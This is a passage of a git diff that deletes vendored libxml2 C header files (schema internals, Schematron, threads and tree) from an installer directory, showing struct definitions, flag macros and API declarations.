XML_SCHEMAS_TYPE_FIXUP_1 1 << 29 - -/** - * XML_SCHEMAS_TYPE_REDEFINED: - * - * The type was redefined. - */ -#define XML_SCHEMAS_TYPE_REDEFINED 1 << 30 -/** - * XML_SCHEMAS_TYPE_REDEFINING: - * - * The type redefines an other type. - */ -/* #define XML_SCHEMAS_TYPE_REDEFINING 1 << 31 */ - -/** - * _xmlSchemaType: - * - * Schemas type definition. - */ -struct _xmlSchemaType { - xmlSchemaTypeType type; /* The kind of type */ - struct _xmlSchemaType *next; /* the next type if in a sequence ... */ - const xmlChar *name; - const xmlChar *id ; /* Deprecated; not used */ - const xmlChar *ref; /* Deprecated; not used */ - const xmlChar *refNs; /* Deprecated; not used */ - xmlSchemaAnnotPtr annot; - xmlSchemaTypePtr subtypes; - xmlSchemaAttributePtr attributes; /* Deprecated; not used */ - xmlNodePtr node; - int minOccurs; /* Deprecated; not used */ - int maxOccurs; /* Deprecated; not used */ - - int flags; - xmlSchemaContentType contentType; - const xmlChar *base; /* Base type's local name */ - const xmlChar *baseNs; /* Base type's target namespace */ - xmlSchemaTypePtr baseType; /* The base type component */ - xmlSchemaFacetPtr facets; /* Local facets */ - struct _xmlSchemaType *redef; /* Deprecated; not used */ - int recurse; /* Obsolete */ - xmlSchemaAttributeLinkPtr *attributeUses; /* Deprecated; not used */ - xmlSchemaWildcardPtr attributeWildcard; - int builtInType; /* Type of built-in types. */ - xmlSchemaTypeLinkPtr memberTypes; /* member-types if a union type. */ - xmlSchemaFacetLinkPtr facetSet; /* All facets (incl. inherited) */ - const xmlChar *refPrefix; /* Deprecated; not used */ - xmlSchemaTypePtr contentTypeDef; /* Used for the simple content of complex types. - Could we use @subtypes for this? */ - xmlRegexpPtr contModel; /* Holds the automaton of the content model */ - const xmlChar *targetNamespace; - void *attrUses; -}; - -/* - * xmlSchemaElement: - * An element definition. - * - * xmlSchemaType, xmlSchemaFacet and xmlSchemaElement start of - * structures must be kept similar - */ -/** - * XML_SCHEMAS_ELEM_NILLABLE: - * - * the element is nillable - */ -#define XML_SCHEMAS_ELEM_NILLABLE 1 << 0 -/** - * XML_SCHEMAS_ELEM_GLOBAL: - * - * the element is global - */ -#define XML_SCHEMAS_ELEM_GLOBAL 1 << 1 -/** - * XML_SCHEMAS_ELEM_DEFAULT: - * - * the element has a default value - */ -#define XML_SCHEMAS_ELEM_DEFAULT 1 << 2 -/** - * XML_SCHEMAS_ELEM_FIXED: - * - * the element has a fixed value - */ -#define XML_SCHEMAS_ELEM_FIXED 1 << 3 -/** - * XML_SCHEMAS_ELEM_ABSTRACT: - * - * the element is abstract - */ -#define XML_SCHEMAS_ELEM_ABSTRACT 1 << 4 -/** - * XML_SCHEMAS_ELEM_TOPLEVEL: - * - * the element is top level - * obsolete: use XML_SCHEMAS_ELEM_GLOBAL instead - */ -#define XML_SCHEMAS_ELEM_TOPLEVEL 1 << 5 -/** - * XML_SCHEMAS_ELEM_REF: - * - * the element is a reference to a type - */ -#define XML_SCHEMAS_ELEM_REF 1 << 6 -/** - * XML_SCHEMAS_ELEM_NSDEFAULT: - * - * allow elements in no namespace - * Obsolete, not used anymore. - */ -#define XML_SCHEMAS_ELEM_NSDEFAULT 1 << 7 -/** - * XML_SCHEMAS_ELEM_INTERNAL_RESOLVED: - * - * this is set when "type", "ref", "substitutionGroup" - * references have been resolved. - */ -#define XML_SCHEMAS_ELEM_INTERNAL_RESOLVED 1 << 8 - /** - * XML_SCHEMAS_ELEM_CIRCULAR: - * - * a helper flag for the search of circular references. - */ -#define XML_SCHEMAS_ELEM_CIRCULAR 1 << 9 -/** - * XML_SCHEMAS_ELEM_BLOCK_ABSENT: - * - * the "block" attribute is absent - */ -#define XML_SCHEMAS_ELEM_BLOCK_ABSENT 1 << 10 -/** - * XML_SCHEMAS_ELEM_BLOCK_EXTENSION: - * - * disallowed substitutions are absent - */ -#define XML_SCHEMAS_ELEM_BLOCK_EXTENSION 1 << 11 -/** - * XML_SCHEMAS_ELEM_BLOCK_RESTRICTION: - * - * disallowed substitutions: "restriction" - */ -#define XML_SCHEMAS_ELEM_BLOCK_RESTRICTION 1 << 12 -/** - * XML_SCHEMAS_ELEM_BLOCK_SUBSTITUTION: - * - * disallowed substitutions: "substituion" - */ -#define XML_SCHEMAS_ELEM_BLOCK_SUBSTITUTION 1 << 13 -/** - * XML_SCHEMAS_ELEM_FINAL_ABSENT: - * - * substitution group exclusions are absent - */ -#define XML_SCHEMAS_ELEM_FINAL_ABSENT 1 << 14 -/** - * XML_SCHEMAS_ELEM_FINAL_EXTENSION: - * - * substitution group exclusions: "extension" - */ -#define XML_SCHEMAS_ELEM_FINAL_EXTENSION 1 << 15 -/** - * XML_SCHEMAS_ELEM_FINAL_RESTRICTION: - * - * substitution group exclusions: "restriction" - */ -#define XML_SCHEMAS_ELEM_FINAL_RESTRICTION 1 << 16 -/** - * XML_SCHEMAS_ELEM_SUBST_GROUP_HEAD: - * - * the declaration is a substitution group head - */ -#define XML_SCHEMAS_ELEM_SUBST_GROUP_HEAD 1 << 17 -/** - * XML_SCHEMAS_ELEM_INTERNAL_CHECKED: - * - * this is set when the elem decl has been checked against - * all constraints - */ -#define XML_SCHEMAS_ELEM_INTERNAL_CHECKED 1 << 18 - -typedef struct _xmlSchemaElement xmlSchemaElement; -typedef xmlSchemaElement *xmlSchemaElementPtr; -struct _xmlSchemaElement { - xmlSchemaTypeType type; /* The kind of type */ - struct _xmlSchemaType *next; /* Not used? */ - const xmlChar *name; - const xmlChar *id; /* Deprecated; not used */ - const xmlChar *ref; /* Deprecated; not used */ - const xmlChar *refNs; /* Deprecated; not used */ - xmlSchemaAnnotPtr annot; - xmlSchemaTypePtr subtypes; /* the type definition */ - xmlSchemaAttributePtr attributes; - xmlNodePtr node; - int minOccurs; /* Deprecated; not used */ - int maxOccurs; /* Deprecated; not used */ - - int flags; - const xmlChar *targetNamespace; - const xmlChar *namedType; - const xmlChar *namedTypeNs; - const xmlChar *substGroup; - const xmlChar *substGroupNs; - const xmlChar *scope; - const xmlChar *value; /* The original value of the value constraint. */ - struct _xmlSchemaElement *refDecl; /* This will now be used for the - substitution group affiliation */ - xmlRegexpPtr contModel; /* Obsolete for WXS, maybe used for RelaxNG */ - xmlSchemaContentType contentType; - const xmlChar *refPrefix; /* Deprecated; not used */ - xmlSchemaValPtr defVal; /* The compiled value contraint. */ - void *idcs; /* The identity-constraint defs */ -}; - -/* - * XML_SCHEMAS_FACET_UNKNOWN: - * - * unknown facet handling - */ -#define XML_SCHEMAS_FACET_UNKNOWN 0 -/* - * XML_SCHEMAS_FACET_PRESERVE: - * - * preserve the type of the facet - */ -#define XML_SCHEMAS_FACET_PRESERVE 1 -/* - * XML_SCHEMAS_FACET_REPLACE: - * - * replace the type of the facet - */ -#define XML_SCHEMAS_FACET_REPLACE 2 -/* - * XML_SCHEMAS_FACET_COLLAPSE: - * - * collapse the types of the facet - */ -#define XML_SCHEMAS_FACET_COLLAPSE 3 -/** - * A facet definition. - */ -struct _xmlSchemaFacet { - xmlSchemaTypeType type; /* The kind of type */ - struct _xmlSchemaFacet *next;/* the next type if in a sequence ... */ - const xmlChar *value; /* The original value */ - const xmlChar *id; /* Obsolete */ - xmlSchemaAnnotPtr annot; - xmlNodePtr node; - int fixed; /* XML_SCHEMAS_FACET_PRESERVE, etc. */ - int whitespace; - xmlSchemaValPtr val; /* The compiled value */ - xmlRegexpPtr regexp; /* The regex for patterns */ -}; - -/** - * A notation definition. - */ -typedef struct _xmlSchemaNotation xmlSchemaNotation; -typedef xmlSchemaNotation *xmlSchemaNotationPtr; -struct _xmlSchemaNotation { - xmlSchemaTypeType type; /* The kind of type */ - const xmlChar *name; - xmlSchemaAnnotPtr annot; - const xmlChar *identifier; - const xmlChar *targetNamespace; -}; - -/* -* TODO: Actually all those flags used for the schema should sit -* on the schema parser context, since they are used only -* during parsing an XML schema document, and not available -* on the component level as per spec. -*/ -/** - * XML_SCHEMAS_QUALIF_ELEM: - * - * Reflects elementFormDefault == qualified in - * an XML schema document. - */ -#define XML_SCHEMAS_QUALIF_ELEM 1 << 0 -/** - * XML_SCHEMAS_QUALIF_ATTR: - * - * Reflects attributeFormDefault == qualified in - * an XML schema document. - */ -#define XML_SCHEMAS_QUALIF_ATTR 1 << 1 -/** - * XML_SCHEMAS_FINAL_DEFAULT_EXTENSION: - * - * the schema has "extension" in the set of finalDefault. - */ -#define XML_SCHEMAS_FINAL_DEFAULT_EXTENSION 1 << 2 -/** - * XML_SCHEMAS_FINAL_DEFAULT_RESTRICTION: - * - * the schema has "restriction" in the set of finalDefault. - */ -#define XML_SCHEMAS_FINAL_DEFAULT_RESTRICTION 1 << 3 -/** - * XML_SCHEMAS_FINAL_DEFAULT_LIST: - * - * the cshema has "list" in the set of finalDefault. - */ -#define XML_SCHEMAS_FINAL_DEFAULT_LIST 1 << 4 -/** - * XML_SCHEMAS_FINAL_DEFAULT_UNION: - * - * the schema has "union" in the set of finalDefault. - */ -#define XML_SCHEMAS_FINAL_DEFAULT_UNION 1 << 5 -/** - * XML_SCHEMAS_BLOCK_DEFAULT_EXTENSION: - * - * the schema has "extension" in the set of blockDefault. - */ -#define XML_SCHEMAS_BLOCK_DEFAULT_EXTENSION 1 << 6 -/** - * XML_SCHEMAS_BLOCK_DEFAULT_RESTRICTION: - * - * the schema has "restriction" in the set of blockDefault. - */ -#define XML_SCHEMAS_BLOCK_DEFAULT_RESTRICTION 1 << 7 -/** - * XML_SCHEMAS_BLOCK_DEFAULT_SUBSTITUTION: - * - * the schema has "substitution" in the set of blockDefault. - */ -#define XML_SCHEMAS_BLOCK_DEFAULT_SUBSTITUTION 1 << 8 -/** - * XML_SCHEMAS_INCLUDING_CONVERT_NS: - * - * the schema is currently including an other schema with - * no target namespace. - */ -#define XML_SCHEMAS_INCLUDING_CONVERT_NS 1 << 9 -/** - * _xmlSchema: - * - * A Schemas definition - */ -struct _xmlSchema { - const xmlChar *name; /* schema name */ - const xmlChar *targetNamespace; /* the target namespace */ - const xmlChar *version; - const xmlChar *id; /* Obsolete */ - xmlDocPtr doc; - xmlSchemaAnnotPtr annot; - int flags; - - xmlHashTablePtr typeDecl; - xmlHashTablePtr attrDecl; - xmlHashTablePtr attrgrpDecl; - xmlHashTablePtr elemDecl; - xmlHashTablePtr notaDecl; - - xmlHashTablePtr schemasImports; - - void *_private; /* unused by the library for users or bindings */ - xmlHashTablePtr groupDecl; - xmlDictPtr dict; - void *includes; /* the includes, this is opaque for now */ - int preserve; /* whether to free the document */ - int counter; /* used to give ononymous components unique names */ - xmlHashTablePtr idcDef; /* All identity-constraint defs. */ - void *volatiles; /* Obsolete */ -}; - -XMLPUBFUN void XMLCALL xmlSchemaFreeType (xmlSchemaTypePtr type); -XMLPUBFUN void XMLCALL xmlSchemaFreeWildcard(xmlSchemaWildcardPtr wildcard); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMAS_ENABLED */ -#endif /* __XML_SCHEMA_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/schematron.h b/installer/libxml2/include/libxml/schematron.h deleted file mode 100644 index 364eaec..0000000 --- a/installer/libxml2/include/libxml/schematron.h +++ /dev/null @@ -1,142 +0,0 @@ -/* - * Summary: XML Schemastron implementation - * Description: interface to the XML Schematron validity checking. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SCHEMATRON_H__ -#define __XML_SCHEMATRON_H__ - -#include - -#ifdef LIBXML_SCHEMATRON_ENABLED - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - XML_SCHEMATRON_OUT_QUIET = 1 << 0, /* quiet no report */ - XML_SCHEMATRON_OUT_TEXT = 1 << 1, /* build a textual report */ - XML_SCHEMATRON_OUT_XML = 1 << 2, /* output SVRL */ - XML_SCHEMATRON_OUT_ERROR = 1 << 3, /* output via xmlStructuredErrorFunc */ - XML_SCHEMATRON_OUT_FILE = 1 << 8, /* output to a file descriptor */ - XML_SCHEMATRON_OUT_BUFFER = 1 << 9, /* output to a buffer */ - XML_SCHEMATRON_OUT_IO = 1 << 10 /* output to I/O mechanism */ -} xmlSchematronValidOptions; - -/** - * The schemas related types are kept internal - */ -typedef struct _xmlSchematron xmlSchematron; -typedef xmlSchematron *xmlSchematronPtr; - -/** - * xmlSchematronValidityErrorFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of an error callback from a Schematron validation - */ -typedef void (*xmlSchematronValidityErrorFunc) (void *ctx, const char *msg, ...); - -/** - * xmlSchematronValidityWarningFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of a warning callback from a Schematron validation - */ -typedef void (*xmlSchematronValidityWarningFunc) (void *ctx, const char *msg, ...); - -/** - * A schemas validation context - */ -typedef struct _xmlSchematronParserCtxt xmlSchematronParserCtxt; -typedef xmlSchematronParserCtxt *xmlSchematronParserCtxtPtr; - -typedef struct _xmlSchematronValidCtxt xmlSchematronValidCtxt; -typedef xmlSchematronValidCtxt *xmlSchematronValidCtxtPtr; - -/* - * Interfaces for parsing. - */ -XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL - xmlSchematronNewParserCtxt (const char *URL); -XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL - xmlSchematronNewMemParserCtxt(const char *buffer, - int size); -XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL - xmlSchematronNewDocParserCtxt(xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlSchematronFreeParserCtxt (xmlSchematronParserCtxtPtr ctxt); -/***** -XMLPUBFUN void XMLCALL - xmlSchematronSetParserErrors(xmlSchematronParserCtxtPtr ctxt, - xmlSchematronValidityErrorFunc err, - xmlSchematronValidityWarningFunc warn, - void *ctx); -XMLPUBFUN int XMLCALL - xmlSchematronGetParserErrors(xmlSchematronParserCtxtPtr ctxt, - xmlSchematronValidityErrorFunc * err, - xmlSchematronValidityWarningFunc * warn, - void **ctx); -XMLPUBFUN int XMLCALL - xmlSchematronIsValid (xmlSchematronValidCtxtPtr ctxt); - *****/ -XMLPUBFUN xmlSchematronPtr XMLCALL - xmlSchematronParse (xmlSchematronParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlSchematronFree (xmlSchematronPtr schema); -/* - * Interfaces for validating - */ -XMLPUBFUN void XMLCALL - xmlSchematronSetValidStructuredErrors( - xmlSchematronValidCtxtPtr ctxt, - xmlStructuredErrorFunc serror, - void *ctx); -/****** -XMLPUBFUN void XMLCALL - xmlSchematronSetValidErrors (xmlSchematronValidCtxtPtr ctxt, - xmlSchematronValidityErrorFunc err, - xmlSchematronValidityWarningFunc warn, - void *ctx); -XMLPUBFUN int XMLCALL - xmlSchematronGetValidErrors (xmlSchematronValidCtxtPtr ctxt, - xmlSchematronValidityErrorFunc *err, - xmlSchematronValidityWarningFunc *warn, - void **ctx); -XMLPUBFUN int XMLCALL - xmlSchematronSetValidOptions(xmlSchematronValidCtxtPtr ctxt, - int options); -XMLPUBFUN int XMLCALL - xmlSchematronValidCtxtGetOptions(xmlSchematronValidCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSchematronValidateOneElement (xmlSchematronValidCtxtPtr ctxt, - xmlNodePtr elem); - *******/ - -XMLPUBFUN xmlSchematronValidCtxtPtr XMLCALL - xmlSchematronNewValidCtxt (xmlSchematronPtr schema, - int options); -XMLPUBFUN void XMLCALL - xmlSchematronFreeValidCtxt (xmlSchematronValidCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSchematronValidateDoc (xmlSchematronValidCtxtPtr ctxt, - xmlDocPtr instance); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMATRON_ENABLED */ -#endif /* __XML_SCHEMATRON_H__ */ diff --git a/installer/libxml2/include/libxml/threads.h b/installer/libxml2/include/libxml/threads.h deleted file mode 100644 index d31f16a..0000000 --- a/installer/libxml2/include/libxml/threads.h +++ /dev/null @@ -1,84 +0,0 @@ -/** - * Summary: interfaces for thread handling - * Description: set of generic threading related routines - * should work with pthreads, Windows native or TLS threads - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_THREADS_H__ -#define __XML_THREADS_H__ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * xmlMutex are a simple mutual exception locks. - */ -typedef struct _xmlMutex xmlMutex; -typedef xmlMutex *xmlMutexPtr; - -/* - * xmlRMutex are reentrant mutual exception locks. - */ -typedef struct _xmlRMutex xmlRMutex; -typedef xmlRMutex *xmlRMutexPtr; - -#ifdef __cplusplus -} -#endif -#include -#ifdef __cplusplus -extern "C" { -#endif -XMLPUBFUN xmlMutexPtr XMLCALL - xmlNewMutex (void); -XMLPUBFUN void XMLCALL - xmlMutexLock (xmlMutexPtr tok); -XMLPUBFUN void XMLCALL - xmlMutexUnlock (xmlMutexPtr tok); -XMLPUBFUN void XMLCALL - xmlFreeMutex (xmlMutexPtr tok); - -XMLPUBFUN xmlRMutexPtr XMLCALL - xmlNewRMutex (void); -XMLPUBFUN void XMLCALL - xmlRMutexLock (xmlRMutexPtr tok); -XMLPUBFUN void XMLCALL - xmlRMutexUnlock (xmlRMutexPtr tok); -XMLPUBFUN void XMLCALL - xmlFreeRMutex (xmlRMutexPtr tok); - -/* - * Library wide APIs. - */ -XMLPUBFUN void XMLCALL - xmlInitThreads (void); -XMLPUBFUN void XMLCALL - xmlLockLibrary (void); -XMLPUBFUN void XMLCALL - xmlUnlockLibrary(void); -XMLPUBFUN int XMLCALL - xmlGetThreadId (void); -XMLPUBFUN int XMLCALL - xmlIsMainThread (void); -XMLPUBFUN void XMLCALL - xmlCleanupThreads(void); -XMLPUBFUN xmlGlobalStatePtr XMLCALL - xmlGetGlobalState(void); - -#if defined(HAVE_WIN32_THREADS) && !defined(HAVE_COMPILER_TLS) && defined(LIBXML_STATIC_FOR_DLL) -int XMLCALL xmlDllMain(void *hinstDLL, unsigned long fdwReason, void *lpvReserved); -#endif - -#ifdef __cplusplus -} -#endif - - -#endif /* __XML_THREADS_H__ */ diff --git a/installer/libxml2/include/libxml/tree.h b/installer/libxml2/include/libxml/tree.h deleted file mode 100644 index 4a9b3bc..0000000 --- a/installer/libxml2/include/libxml/tree.h +++ /dev/null @@ -1,1311 +0,0 @@ -/* - * Summary: interfaces for tree manipulation - * Description: this module describes the structures found in an tree resulting - * from an XML or HTML parsing, as well as the API provided for - * various processing on that tree - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_TREE_H__ -#define __XML_TREE_H__ - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Some of the basic types pointer to structures: - */ -/* xmlIO.h */ -typedef struct _xmlParserInputBuffer xmlParserInputBuffer; -typedef xmlParserInputBuffer *xmlParserInputBufferPtr; - -typedef struct _xmlOutputBuffer xmlOutputBuffer; -typedef xmlOutputBuffer *xmlOutputBufferPtr; - -/* parser.h */ -typedef struct _xmlParserInput xmlParserInput; -typedef xmlParserInput *xmlParserInputPtr; - -typedef struct _xmlParserCtxt xmlParserCtxt; -typedef xmlParserCtxt *xmlParserCtxtPtr; - -typedef struct _xmlSAXLocator xmlSAXLocator; -typedef xmlSAXLocator *xmlSAXLocatorPtr; - -typedef struct _xmlSAXHandler xmlSAXHandler; -typedef xmlSAXHandler *xmlSAXHandlerPtr; - -/* entities.h */ -typedef struct _xmlEntity xmlEntity; -typedef xmlEntity *xmlEntityPtr; - -/** - * BASE_BUFFER_SIZE: - * - * default buffer size 4000. - */ -#define BASE_BUFFER_SIZE 4096 - -/** - * LIBXML_NAMESPACE_DICT: - * - * Defines experimental behaviour: - * 1) xmlNs gets an additional field @context (a xmlDoc) - * 2) when creating a tree, xmlNs->href is stored in the dict of xmlDoc. - */ -/* #define LIBXML_NAMESPACE_DICT */ - -/** - * xmlBufferAllocationScheme: - * - * A buffer allocation scheme can be defined to either match exactly the - * need or double it's allocated size each time it is found too small. - */ - -typedef enum { - XML_BUFFER_ALLOC_DOUBLEIT, /* double each time one need to grow */ - XML_BUFFER_ALLOC_EXACT, /* grow only to the minimal size */ - XML_BUFFER_ALLOC_IMMUTABLE, /* immutable buffer */ - XML_BUFFER_ALLOC_IO, /* special allocation scheme used for I/O */ - XML_BUFFER_ALLOC_HYBRID, /* exact up to a threshold, and doubleit thereafter */ - XML_BUFFER_ALLOC_BOUNDED /* limit the upper size of the buffer */ -} xmlBufferAllocationScheme; - -/** - * xmlBuffer: - * - * A buffer structure, this old construct is limited to 2GB and - * is being deprecated, use API with xmlBuf instead - */ -typedef struct _xmlBuffer xmlBuffer; -typedef xmlBuffer *xmlBufferPtr; -struct _xmlBuffer { - xmlChar *content; /* The buffer content UTF8 */ - unsigned int use; /* The buffer size used */ - unsigned int size; /* The buffer size */ - xmlBufferAllocationScheme alloc; /* The realloc method */ - xmlChar *contentIO; /* in IO mode we may have a different base */ -}; - -/** - * xmlBuf: - * - * A buffer structure, new one, the actual structure internals are not public - */ - -typedef struct _xmlBuf xmlBuf; - -/** - * xmlBufPtr: - * - * A pointer to a buffer structure, the actual structure internals are not - * public - */ - -typedef xmlBuf *xmlBufPtr; - -/* - * A few public routines for xmlBuf. As those are expected to be used - * mostly internally the bulk of the routines are internal in buf.h - */ -XMLPUBFUN xmlChar* XMLCALL xmlBufContent (const xmlBuf* buf); -XMLPUBFUN xmlChar* XMLCALL xmlBufEnd (xmlBufPtr buf); -XMLPUBFUN size_t XMLCALL xmlBufUse (const xmlBufPtr buf); -XMLPUBFUN size_t XMLCALL xmlBufShrink (xmlBufPtr buf, size_t len); - -/* - * LIBXML2_NEW_BUFFER: - * - * Macro used to express that the API use the new buffers for - * xmlParserInputBuffer and xmlOutputBuffer. The change was - * introduced in 2.9.0. - */ -#define LIBXML2_NEW_BUFFER - -/** - * XML_XML_NAMESPACE: - * - * This is the namespace for the special xml: prefix predefined in the - * XML Namespace specification. - */ -#define XML_XML_NAMESPACE \ - (const xmlChar *) "http://www.w3.org/XML/1998/namespace" - -/** - * XML_XML_ID: - * - * This is the name for the special xml:id attribute - */ -#define XML_XML_ID (const xmlChar *) "xml:id" - -/* - * The different element types carried by an XML tree. - * - * NOTE: This is synchronized with DOM Level1 values - * See http://www.w3.org/TR/REC-DOM-Level-1/ - * - * Actually this had diverged a bit, and now XML_DOCUMENT_TYPE_NODE should - * be deprecated to use an XML_DTD_NODE. - */ -typedef enum { - XML_ELEMENT_NODE= 1, - XML_ATTRIBUTE_NODE= 2, - XML_TEXT_NODE= 3, - XML_CDATA_SECTION_NODE= 4, - XML_ENTITY_REF_NODE= 5, - XML_ENTITY_NODE= 6, - XML_PI_NODE= 7, - XML_COMMENT_NODE= 8, - XML_DOCUMENT_NODE= 9, - XML_DOCUMENT_TYPE_NODE= 10, - XML_DOCUMENT_FRAG_NODE= 11, - XML_NOTATION_NODE= 12, - XML_HTML_DOCUMENT_NODE= 13, - XML_DTD_NODE= 14, - XML_ELEMENT_DECL= 15, - XML_ATTRIBUTE_DECL= 16, - XML_ENTITY_DECL= 17, - XML_NAMESPACE_DECL= 18, - XML_XINCLUDE_START= 19, - XML_XINCLUDE_END= 20 -#ifdef LIBXML_DOCB_ENABLED - ,XML_DOCB_DOCUMENT_NODE= 21 -#endif -} xmlElementType; - - -/** - * xmlNotation: - * - * A DTD Notation definition. - */ - -typedef struct _xmlNotation xmlNotation; -typedef xmlNotation *xmlNotationPtr; -struct _xmlNotation { - const xmlChar *name; /* Notation name */ - const xmlChar *PublicID; /* Public identifier, if any */ - const xmlChar *SystemID; /* System identifier, if any */ -}; - -/** - * xmlAttributeType: - * - * A DTD Attribute type definition. - */ - -typedef enum { - XML_ATTRIBUTE_CDATA = 1, - XML_ATTRIBUTE_ID, - XML_ATTRIBUTE_IDREF , - XML_ATTRIBUTE_IDREFS, - XML_ATTRIBUTE_ENTITY, - XML_ATTRIBUTE_ENTITIES, - XML_ATTRIBUTE_NMTOKEN, - XML_ATTRIBUTE_NMTOKENS, - XML_ATTRIBUTE_ENUMERATION, - XML_ATTRIBUTE_NOTATION -} xmlAttributeType; - -/** - * xmlAttributeDefault: - * - * A DTD Attribute default definition. - */ - -typedef enum { - XML_ATTRIBUTE_NONE = 1, - XML_ATTRIBUTE_REQUIRED, - XML_ATTRIBUTE_IMPLIED, - XML_ATTRIBUTE_FIXED -} xmlAttributeDefault; - -/** - * xmlEnumeration: - * - * List structure used when there is an enumeration in DTDs. - */ - -typedef struct _xmlEnumeration xmlEnumeration; -typedef xmlEnumeration *xmlEnumerationPtr; -struct _xmlEnumeration { - struct _xmlEnumeration *next; /* next one */ - const xmlChar *name; /* Enumeration name */ -}; - -/** - * xmlAttribute: - * - * An Attribute declaration in a DTD. - */ - -typedef struct _xmlAttribute xmlAttribute; -typedef xmlAttribute *xmlAttributePtr; -struct _xmlAttribute { - void *_private; /* application data */ - xmlElementType type; /* XML_ATTRIBUTE_DECL, must be second ! */ - const xmlChar *name; /* Attribute name */ - struct _xmlNode *children; /* NULL */ - struct _xmlNode *last; /* NULL */ - struct _xmlDtd *parent; /* -> DTD */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - struct _xmlAttribute *nexth; /* next in hash table */ - xmlAttributeType atype; /* The attribute type */ - xmlAttributeDefault def; /* the default */ - const xmlChar *defaultValue; /* or the default value */ - xmlEnumerationPtr tree; /* or the enumeration tree if any */ - const xmlChar *prefix; /* the namespace prefix if any */ - const xmlChar *elem; /* Element holding the attribute */ -}; - -/** - * xmlElementContentType: - * - * Possible definitions of element content types. - */ -typedef enum { - XML_ELEMENT_CONTENT_PCDATA = 1, - XML_ELEMENT_CONTENT_ELEMENT, - XML_ELEMENT_CONTENT_SEQ, - XML_ELEMENT_CONTENT_OR -} xmlElementContentType; - -/** - * xmlElementContentOccur: - * - * Possible definitions of element content occurrences. - */ -typedef enum { - XML_ELEMENT_CONTENT_ONCE = 1, - XML_ELEMENT_CONTENT_OPT, - XML_ELEMENT_CONTENT_MULT, - XML_ELEMENT_CONTENT_PLUS -} xmlElementContentOccur; - -/** - * xmlElementContent: - * - * An XML Element content as stored after parsing an element definition - * in a DTD. - */ - -typedef struct _xmlElementContent xmlElementContent; -typedef xmlElementContent *xmlElementContentPtr; -struct _xmlElementContent { - xmlElementContentType type; /* PCDATA, ELEMENT, SEQ or OR */ - xmlElementContentOccur ocur; /* ONCE, OPT, MULT or PLUS */ - const xmlChar *name; /* Element name */ - struct _xmlElementContent *c1; /* first child */ - struct _xmlElementContent *c2; /* second child */ - struct _xmlElementContent *parent; /* parent */ - const xmlChar *prefix; /* Namespace prefix */ -}; - -/** - * xmlElementTypeVal: - * - * The different possibilities for an element content type. - */ - -typedef enum { - XML_ELEMENT_TYPE_UNDEFINED = 0, - XML_ELEMENT_TYPE_EMPTY = 1, - XML_ELEMENT_TYPE_ANY, - XML_ELEMENT_TYPE_MIXED, - XML_ELEMENT_TYPE_ELEMENT -} xmlElementTypeVal; - -#ifdef __cplusplus -} -#endif -#include -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlElement: - * - * An XML Element declaration from a DTD. - */ - -typedef struct _xmlElement xmlElement; -typedef xmlElement *xmlElementPtr; -struct _xmlElement { - void *_private; /* application data */ - xmlElementType type; /* XML_ELEMENT_DECL, must be second ! */ - const xmlChar *name; /* Element name */ - struct _xmlNode *children; /* NULL */ - struct _xmlNode *last; /* NULL */ - struct _xmlDtd *parent; /* -> DTD */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - xmlElementTypeVal etype; /* The type */ - xmlElementContentPtr content; /* the allowed element content */ - xmlAttributePtr attributes; /* List of the declared attributes */ - const xmlChar *prefix; /* the namespace prefix if any */ -#ifdef LIBXML_REGEXP_ENABLED - xmlRegexpPtr contModel; /* the validating regexp */ -#else - void *contModel; -#endif -}; - - -/** - * XML_LOCAL_NAMESPACE: - * - * A namespace declaration node. - */ -#define XML_LOCAL_NAMESPACE XML_NAMESPACE_DECL -typedef xmlElementType xmlNsType; - -/** - * xmlNs: - * - * An XML namespace. - * Note that prefix == NULL is valid, it defines the default namespace - * within the subtree (until overridden). - * - * xmlNsType is unified with xmlElementType. - */ - -typedef struct _xmlNs xmlNs; -typedef xmlNs *xmlNsPtr; -struct _xmlNs { - struct _xmlNs *next; /* next Ns link for this node */ - xmlNsType type; /* global or local */ - const xmlChar *href; /* URL for the namespace */ - const xmlChar *prefix; /* prefix for the namespace */ - void *_private; /* application data */ - struct _xmlDoc *context; /* normally an xmlDoc */ -}; - -/** - * xmlDtd: - * - * An XML DTD, as defined by parent link */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - /* End of common part */ - void *notations; /* Hash table for notations if any */ - void *elements; /* Hash table for elements if any */ - void *attributes; /* Hash table for attributes if any */ - void *entities; /* Hash table for entities if any */ - const xmlChar *ExternalID; /* External identifier for PUBLIC DTD */ - const xmlChar *SystemID; /* URI for a SYSTEM or PUBLIC DTD */ - void *pentities; /* Hash table for param entities if any */ -}; - -/** - * xmlAttr: - * - * An attribute on an XML node. - */ -typedef struct _xmlAttr xmlAttr; -typedef xmlAttr *xmlAttrPtr; -struct _xmlAttr { - void *_private; /* application data */ - xmlElementType type; /* XML_ATTRIBUTE_NODE, must be second ! */ - const xmlChar *name; /* the name of the property */ - struct _xmlNode *children; /* the value of the property */ - struct _xmlNode *last; /* NULL */ - struct _xmlNode *parent; /* child->parent link */ - struct _xmlAttr *next; 